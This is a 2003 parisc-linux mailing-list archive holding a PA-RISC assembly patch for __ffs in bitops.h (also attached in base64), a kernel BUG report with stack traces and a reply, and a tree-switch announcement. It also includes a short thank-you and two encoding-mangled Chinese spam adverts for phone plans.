Xref: news.gmane.org gmane.linux.ports.parisc:19107

--========/3F2E54A800000406/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Hi Grant,

Thanks first for the help of previous patches :-)

And here is the final one for bitops.h suggested by Lamont for
2.6:
diff -Naur linux-2.6.0-test2.orig/include/asm-parisc/bitops.h linux-2.6.0-test2-b/include/asm-parisc/bitops.h
--- linux-2.6.0-test2.orig/include/asm-parisc/bitops.h	2003-08-05 19:24:18.000000000
+0200
+++ linux-2.6.0-test2-b/include/asm-parisc/bitops.h	2003-08-06 10:02:00.000000000
+0200
@@ -223,16 +223,31 @@
  * @word: The word to search
  *
  * Undefined if no bit exists, so code should check against 0 first.
+ *
+ * This is a fast ffs version written by "LaMont Jones <lamont@hp.com>"
  */
-static __inline__ unsigned long __ffs(unsigned long word)
-{
-	unsigned long result = 0;
 
-	while (!(word & 1UL)) {
-		result++;
-		word >>= 1;
-	}
-	return result;
+static __inline__ int __ffs(int x)
+{
+	int ret;
+	__asm__(" ldi    32,%1\n"
+		" extru,<>  %0,31,16,%%r0\n"
+		" extru,TR  %0,15,16,%0\n"
+		" addi    -16,%1,%1\n"
+		" extru,<>  %0,31,8,%%r0\n"
+		" extru,TR  %0,23,8,%0\n"
+		" addi    -8,%1,%1\n"
+		" extru,<>  %0,31,4,%%r0\n"
+		" extru,TR  %0,27,4,%0\n"
+		" addi    -4,%1,%1\n"
+		" extru,<>  %0,31,2,%%r0\n"
+		" extru,TR  %0,29,2,%0\n"
+		" addi    -2,%1,%1\n"
+		" extru,=  %0,31,1,%%r0\n"
+		" addi    -1,%1,%1\n"
+		: "=r" (x), "=r" (ret)
+		: "0" (x), "1" (ret));
+	return ret;
 }
 
 /*
================================================================================

If some interrest could you ci for me (I have no ci access)

Thanks in advance,
    Joel



------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 



--========/3F2E54A800000406/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Bitops-2.6.patch"

ZGlmZiAtTmF1ciBsaW51eC0yLjYuMC10ZXN0Mi5vcmlnL2luY2x1ZGUvYXNtLXBhcmlzYy9iaXRv
cHMuaCBsaW51eC0yLjYuMC10ZXN0Mi1iL2luY2x1ZGUvYXNtLXBhcmlzYy9iaXRvcHMuaAotLS0g
bGludXgtMi42LjAtdGVzdDIub3JpZy9pbmNsdWRlL2FzbS1wYXJpc2MvYml0b3BzLmgJMjAwMy0w
OC0wNSAxOToyNDoxOC4wMDAwMDAwMDAgKzAyMDAKKysrIGxpbnV4LTIuNi4wLXRlc3QyLWIvaW5j
bHVkZS9hc20tcGFyaXNjL2JpdG9wcy5oCTIwMDMtMDgtMDYgMTA6MDI6MDAuMDAwMDAwMDAwICsw
MjAwCkBAIC0yMjMsMTYgKzIyMywzMSBAQAogICogQHdvcmQ6IFRoZSB3b3JkIHRvIHNlYXJjaAog
ICoKICAqIFVuZGVmaW5lZCBpZiBubyBiaXQgZXhpc3RzLCBzbyBjb2RlIHNob3VsZCBjaGVjayBh
Z2FpbnN0IDAgZmlyc3QuCisgKgorICogVGhpcyBpcyBhIGZhc3QgZmZzIHZlcnNpb24gd3JpdHRl
biBieSAiTGFNb250IEpvbmVzIDxsYW1vbnRAaHAuY29tPiIKICAqLwotc3RhdGljIF9faW5saW5l
X18gdW5zaWduZWQgbG9uZyBfX2Zmcyh1bnNpZ25lZCBsb25nIHdvcmQpCi17Ci0JdW5zaWduZWQg
bG9uZyByZXN1bHQgPSAwOwogCi0Jd2hpbGUgKCEod29yZCAmIDFVTCkpIHsKLQkJcmVzdWx0Kys7
Ci0JCXdvcmQgPj49IDE7Ci0JfQotCXJldHVybiByZXN1bHQ7CitzdGF0aWMgX19pbmxpbmVfXyBp
bnQgX19mZnMoaW50IHgpCit7CisJaW50IHJldDsKKwlfX2FzbV9fKCIgbGRpICAgIDMyLCUxXG4i
CisJCSIgZXh0cnUsPD4gICUwLDMxLDE2LCUlcjBcbiIKKwkJIiBleHRydSxUUiAgJTAsMTUsMTYs
JTBcbiIKKwkJIiBhZGRpICAgIC0xNiwlMSwlMVxuIgorCQkiIGV4dHJ1LDw+ICAlMCwzMSw4LCUl
cjBcbiIKKwkJIiBleHRydSxUUiAgJTAsMjMsOCwlMFxuIgorCQkiIGFkZGkgICAgLTgsJTEsJTFc
biIKKwkJIiBleHRydSw8PiAgJTAsMzEsNCwlJXIwXG4iCisJCSIgZXh0cnUsVFIgICUwLDI3LDQs
JTBcbiIKKwkJIiBhZGRpICAgIC00LCUxLCUxXG4iCisJCSIgZXh0cnUsPD4gICUwLDMxLDIsJSVy
MFxuIgorCQkiIGV4dHJ1LFRSICAlMCwyOSwyLCUwXG4iCisJCSIgYWRkaSAgICAtMiwlMSwlMVxu
IgorCQkiIGV4dHJ1LD0gICUwLDMxLDEsJSVyMFxuIgorCQkiIGFkZGkgICAgLTEsJTEsJTFcbiIK
KwkJOiAiPXIiICh4KSwgIj1yIiAocmV0KQorCQk6ICIwIiAoeCksICIxIiAocmV0KSk7CisJcmV0
dXJuIHJldDsKIH0KIAogLyoK


--========/3F2E54A800000406/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Bitops-2.4.patch"

ZGlmZiAtTmF1ciBsaW51eC0yLjQuMjEtcGE5Lm9yaWcvaW5jbHVkZS9hc20tcGFyaXNjL2JpdG9w
cy5oIGxpbnV4LTIuNC4yMS1wYTktYi9pbmNsdWRlL2FzbS1wYXJpc2MvYml0b3BzLmgKLS0tIGxp
bnV4LTIuNC4yMS1wYTkub3JpZy9pbmNsdWRlL2FzbS1wYXJpc2MvYml0b3BzLmgJMjAwMy0wOC0w
NSAxOToxNzozNy4wMDAwMDAwMDAgKzAyMDAKKysrIGxpbnV4LTIuNC4yMS1wYTktYi9pbmNsdWRl
L2FzbS1wYXJpc2MvYml0b3BzLmgJMjAwMy0wOC0wNiAwOTo1MzoyNi4wMDAwMDAwMDAgKzAyMDAK
QEAgLTIwOCwxMyArMjA4LDQ5IEBACiAKICNpZmRlZiBfX0tFUk5FTF9fCiAKKy8qKgorICogX19m
ZnMgLSBmaW5kIGZpcnN0IGJpdCBpbiB3b3JkLgorICogQHdvcmQ6IFRoZSB3b3JkIHRvIHNlYXJj
aAorICoKKyAqIFVuZGVmaW5lZCBpZiBubyBiaXQgZXhpc3RzLCBzbyBjb2RlIHNob3VsZCBjaGVj
ayBhZ2FpbnN0IDAgZmlyc3QuCisgKgorICogVGhpcyBpcyBhIGZhc3QgZmZzIHZlcnNpb24gd3Jp
dHRlbiBieSAiTGFNb250IEpvbmVzIDxsYW1vbnRAaHAuY29tPiIKKyAqLworCitzdGF0aWMgX19p
bmxpbmVfXyBpbnQgX19mZnMoaW50IHgpCit7CisJaW50IHJldDsKKwlfX2FzbV9fKCIgbGRpICAg
IDMyLCUxXG4iCisJCSIgZXh0cnUsPD4gICUwLDMxLDE2LCUlcjBcbiIKKwkJIiBleHRydSxUUiAg
JTAsMTUsMTYsJTBcbiIKKwkJIiBhZGRpICAgIC0xNiwlMSwlMVxuIgorCQkiIGV4dHJ1LDw+ICAl
MCwzMSw4LCUlcjBcbiIKKwkJIiBleHRydSxUUiAgJTAsMjMsOCwlMFxuIgorCQkiIGFkZGkgICAg
LTgsJTEsJTFcbiIKKwkJIiBleHRydSw8PiAgJTAsMzEsNCwlJXIwXG4iCisJCSIgZXh0cnUsVFIg
ICUwLDI3LDQsJTBcbiIKKwkJIiBhZGRpICAgIC00LCUxLCUxXG4iCisJCSIgZXh0cnUsPD4gICUw
LDMxLDIsJSVyMFxuIgorCQkiIGV4dHJ1LFRSICAlMCwyOSwyLCUwXG4iCisJCSIgYWRkaSAgICAt
MiwlMSwlMVxuIgorCQkiIGV4dHJ1LD0gICUwLDMxLDEsJSVyMFxuIgorCQkiIGFkZGkgICAgLTEs
JTEsJTFcbiIKKwkJOiAiPXIiICh4KSwgIj1yIiAocmV0KQorCQk6ICIwIiAoeCksICIxIiAocmV0
KSk7CisJcmV0dXJuIHJldDsKK30KKwogLyoKICAqIGZmczogZmluZCBmaXJzdCBiaXQgc2V0LiBU
aGlzIGlzIGRlZmluZWQgdGhlIHNhbWUgd2F5IGFzCiAgKiB0aGUgbGliYyBhbmQgY29tcGlsZXIg
YnVpbHRpbiBmZnMgcm91dGluZXMsIHRoZXJlZm9yZQogICogZGlmZmVycyBpbiBzcGlyaXQgZnJv
bSB0aGUgYWJvdmUgZmZ6IChtYW4gZmZzKS4KICAqLwotCi0jZGVmaW5lIGZmcyh4KSBnZW5lcmlj
X2Zmcyh4KQorc3RhdGljIF9faW5saW5lX18gaW50IGZmcyhpbnQgeCkKK3sKKwlpZiAoIXgpCisJ
CXJldHVybiAwOworCXJldHVybiBfX2ZmcygodW5zaWduZWQgbG9uZyl4KTsKK30KIAogLyoKICAq
IGh3ZWlnaHROOiByZXR1cm5zIHRoZSBoYW1taW5nIHdlaWdodCAoaS5lLiB0aGUgbnVtYmVyCg==

--========/3F2E54A800000406/mail.tiscali.be--


From - Thu Nov 08 21:28:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel BUG at include/linux/skbuff.h:834!
Date: Wed, 6 Aug 2003 08:32:19 -0600
Lines: 53
Approved: news@gmane.org
Message-ID: <20030806143219.GC30797@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622651 28807 80.91.229.3 (22 Nov 2014 02:17:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  6 08:32:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 57C07482E; Wed,  6 Aug 2003 08:32:19 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19108

When I included a 4th a500 ("ios") into my distcc cluster, I didn't think
much of it running 2.6.0-test1 (IIRC). System panic'd near the end
of a kernel build. Output and stack "contents" appended.
NIC which was under load was tg3 .

grant


kernel BUG at include/linux/skbuff.h:834!
Kernel addresses on the stack:
 [<00000000103065e4>]  [<00000000000c49c0>]  [<0000000010306aa0>]  [<00000000101445c4>] 
 [<0000000010248e4c>]  [<000000001019d900>]  [<00000000101115f0>]  [<000000001010a074>] 
 [<00000000101893b8>]  [<000000001018a218>]  [<000000001019d900>]  [<00000000101115f0>] 
 [<0000000010161888>]  [<000000001032b644>]  [<000000001032bfd4>]  [<0000000010161d50>] 
 [<0000000010354cc0>]  [<00000000101cd1dc>]  [<0000000010184a34>]  [<0000000010184b74>] 
 [<000000001019d900>]  [<0000000010184cfc>]  [<000000001010ae4c>]  [<000000001010a074>] 

kernel BUG at include/linux/skbuff.h:870!
Kernel addresses on the stack:
 [<00000000103065e4>]  [<00000000000c49c0>]  [<0000000010306aa0>]  [<00000000101445c4>] 
 [<0000000010248e4c>]  [<000000001019d900>]  [<00000000101115f0>]  [<000000001010a074>] 
 [<00000000101893b8>]  [<000000001018a218>]  [<000000001019d900>]  [<00000000101115f0>] 
 [<0000000010161888>]  [<000000001032b644>]  [<000000001032bfd4>]  [<0000000010161d50>] 
 [<0000000010354cc0>]  [<00000000101cd1dc>]  [<0000000010184a34>]  [<0000000010184b74>] 
 [<000000001019d900>]  [<0000000010184cfc>]  [<000000001010ae4c>]  [<000000001010a074>] 



0x103065e4 netif_receive_skb+16c
0xc49c0 _DYNAMIC+c49c0
0x10306aa0 net_rx_action+148
0x101445c4 do_softirq+cc
0x10248e4c iosapic_interrupt+4c
0x1019d900 locate_fd+100
0x101115f0 pdc_pat_chassis_send_log+78
0x1010a074 intr_return+0
0x101893b8 unmap_underlying_metadata+20
0x1018a218 __block_prepare_write+5a0
0x1019d900 locate_fd+100
0x101115f0 pdc_pat_chassis_send_log+78
0x10161888 generic_file_aio_write_nolock+820
0x1032b644 cleanup_rbuf+bc
0x1032bfd4 tcp_recvmsg+374
0x10161d50 generic_file_aio_write+c0
0x10354cc0 inet_recvmsg+58
0x101cd1dc ext3_file_write+34
0x10184a34 do_sync_write+84
0x10184b74 vfs_write+fc
0x1019d900 locate_fd+100
0x10184cfc sys_write+64
0x1010ae4c syscall_exit+0
0x1010a074 intr_return+0


From - Thu Nov 08 21:28:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel BUG at include/linux/skbuff.h:834!
Date: Wed, 6 Aug 2003 15:57:00 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <20030806145700.GU22222@parcelfarce.linux.theplanet.co.uk>
References: <20030806143219.GC30797@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622651 28809 80.91.229.3 (22 Nov 2014 02:17:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  6 08:57:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19BD6482E
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Aug 2003 08:57:02 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19kPim-0007Zb-KD; Wed, 06 Aug 2003 15:57:00 +0100
Content-Disposition: inline
In-Reply-To: <20030806143219.GC30797@dsl2.external.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19109

On Wed, Aug 06, 2003 at 08:32:19AM -0600, Grant Grundler wrote:
> When I included a 4th a500 ("ios") into my distcc cluster, I didn't think
> much of it running 2.6.0-test1 (IIRC). System panic'd near the end
> of a kernel build. Output and stack "contents" appended.
> NIC which was under load was tg3 .

"I don't believe you" ;-)

> kernel BUG at include/linux/skbuff.h:834!
> Kernel addresses on the stack:
>  [<00000000103065e4>]  [<00000000000c49c0>]  [<0000000010306aa0>]  [<00000000101445c4>] 
>  [<0000000010248e4c>]  [<000000001019d900>]  [<00000000101115f0>]  [<000000001010a074>] 
>  [<00000000101893b8>]  [<000000001018a218>]  [<000000001019d900>]  [<00000000101115f0>] 
>  [<0000000010161888>]  [<000000001032b644>]  [<000000001032bfd4>]  [<0000000010161d50>] 
>  [<0000000010354cc0>]  [<00000000101cd1dc>]  [<0000000010184a34>]  [<0000000010184b74>] 
>  [<000000001019d900>]  [<0000000010184cfc>]  [<000000001010ae4c>]  [<000000001010a074>] 

^^^^^ these addresses

> kernel BUG at include/linux/skbuff.h:870!
> Kernel addresses on the stack:
>  [<00000000103065e4>]  [<00000000000c49c0>]  [<0000000010306aa0>]  [<00000000101445c4>] 
>  [<0000000010248e4c>]  [<000000001019d900>]  [<00000000101115f0>]  [<000000001010a074>] 
>  [<00000000101893b8>]  [<000000001018a218>]  [<000000001019d900>]  [<00000000101115f0>] 
>  [<0000000010161888>]  [<000000001032b644>]  [<000000001032bfd4>]  [<0000000010161d50>] 
>  [<0000000010354cc0>]  [<00000000101cd1dc>]  [<0000000010184a34>]  [<0000000010184b74>] 
>  [<000000001019d900>]  [<0000000010184cfc>]  [<000000001010ae4c>]  [<000000001010a074>] 

^^^^^ are the same as these addresses

The first BUG is in skb_put() and the second BUG is in skb_pull().  Neither
are called from netif_receive_skb(), nor net_rx_action().  

> 0x103065e4 netif_receive_skb+16c
> 0xc49c0 _DYNAMIC+c49c0
> 0x10306aa0 net_rx_action+148
> 0x101445c4 do_softirq+cc
> 0x10248e4c iosapic_interrupt+4c
> 0x1019d900 locate_fd+100
> 0x101115f0 pdc_pat_chassis_send_log+78
> 0x1010a074 intr_return+0
> 0x101893b8 unmap_underlying_metadata+20
> 0x1018a218 __block_prepare_write+5a0
> 0x1019d900 locate_fd+100
> 0x101115f0 pdc_pat_chassis_send_log+78
> 0x10161888 generic_file_aio_write_nolock+820
> 0x1032b644 cleanup_rbuf+bc
> 0x1032bfd4 tcp_recvmsg+374
> 0x10161d50 generic_file_aio_write+c0
> 0x10354cc0 inet_recvmsg+58
> 0x101cd1dc ext3_file_write+34
> 0x10184a34 do_sync_write+84
> 0x10184b74 vfs_write+fc
> 0x1019d900 locate_fd+100
> 0x10184cfc sys_write+64
> 0x1010ae4c syscall_exit+0
> 0x1010a074 intr_return+0

So none of these addresses make any sense ;-(

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@ldl.fc.hp.com (Paul Bame)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5 -> 2.6 tree switch tomorrow
Date: Wed, 6 Aug 2003 12:48:26 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20030806184826.GA11934@ldl.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622652 28816 80.91.229.3 (22 Nov 2014 02:17:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  6 12:49:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 698A7482E
	for <parisc-linux@parisc-linux.org>; Wed,  6 Aug 2003 12:49:00 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP id 084AC1C024C5
	for <parisc-linux@parisc-linux.org>; Wed,  6 Aug 2003 14:49:00 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP id 7ADC823DD3
	for <parisc-linux@parisc-linux.org>; Wed,  6 Aug 2003 12:48:27 -0600 (MDT)
Original-Received: from fc.hp.com (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id 1B5C61340F5
	for <parisc-linux@parisc-linux.org>; Wed,  6 Aug 2003 12:48:27 -0600 (MDT)
Original-Received: by fc.hp.com (Postfix, from userid 16602)
	id 0613673068; Wed,  6 Aug 2003 12:48:27 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19110

Hey folks we're closing the 2.5 tree and opening the 2.6 tree tomorrow
between 10AM and 10:30AM US Mountain (GMT-7).

First the 2.5 tree will be set to read only.  Then all the changes
in that tree will be moved to the 2.6 tree which will be announced
as open for busines.  The 2.5 tree will stay around in read-only form
for diffs and history.

	-P


From - Thu Nov 08 21:28:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vint Le <vincent.carter@sbcglobal.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Thank you
Date: Wed, 06 Aug 2003 15:53:36 -0400
Lines: 4
Approved: news@gmane.org
Message-ID: <3F315CC0.2050900@sbcglobal.net>
Reply-To: vincent.carter@sbcglobal.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622652 28823 80.91.229.3 (22 Nov 2014 02:17:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  6 13:53:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp809.mail.sc5.yahoo.com (smtp809.mail.sc5.yahoo.com [66.163.168.188])
	by dsl2.external.hp.com (Postfix) with SMTP id 9A7D9482E
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Aug 2003 13:53:33 -0600 (MDT)
Original-Received: from 69.0.96.192.adsl.snet.net (HELO sbcglobal.net) (vincent.carter@sbcglobal.net@69.0.96.192 with plain)
  by smtp-sbc-v1.mail.vip.sc5.yahoo.com with SMTP; 6 Aug 2003 19:53:30 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19111

Thanks...




From - Thu Nov 08 21:28:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?uePW3cGqzag=?= <webyw@un165.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?uePW3cGqzaiw78T6yqG7sLfR?=
Date: Thu, 7 Aug 2003 10:11:38 +0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20030807020942.44921491C@dsl2.external.hp.com>
Reply-To: webyw@un165.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622652 28828 80.91.229.3 (22 Nov 2014 02:17:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  6 20:09:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from un165.com (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44921491C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Aug 2003 20:09:42 -0600 (MDT)
X-Priority: 3
X-Mailer: FoxMail 4.0 beta 2 [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19112

ͨʡ
ͨCDMAִͨѶʱѡ񣡣
Oĵײͣ
118Ԫײͣ0.36Ԫ/ӣѡ
2ײ0.4Ԫ/
3138Ԫ400Ԫ168Ԫ600Ԫ228Ԫ1000Ԫײ

ҵ
ƾ֤ӡԤ600ԪѼɻһ̨CDMAֻһ
ϰʺţУ9555-5020-0044-3114

ѯ绰8558030885580908
Ͷߵ绰89822292

йͨݷֹ˾


From - Thu Nov 08 21:28:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?uePW3cGqzag=?= <webyw@un165.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?uePW3cGqzaiw78T6yqG7sLfR?=
Date: Thu, 7 Aug 2003 10:11:40 +0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20030807020944.58EFB491A@dsl2.external.hp.com>
Reply-To: webyw@un165.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622653 28833 80.91.229.3 (22 Nov 2014 02:17:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:33 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  6 20:09:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from un165.com (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58EFB491A
	for <parisc-linux@parisc-linux.org>; Wed,  6 Aug 2003 20:09:44 -0600 (MDT)
X-Priority: 3
X-Mailer: FoxMail 3.11 Release [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
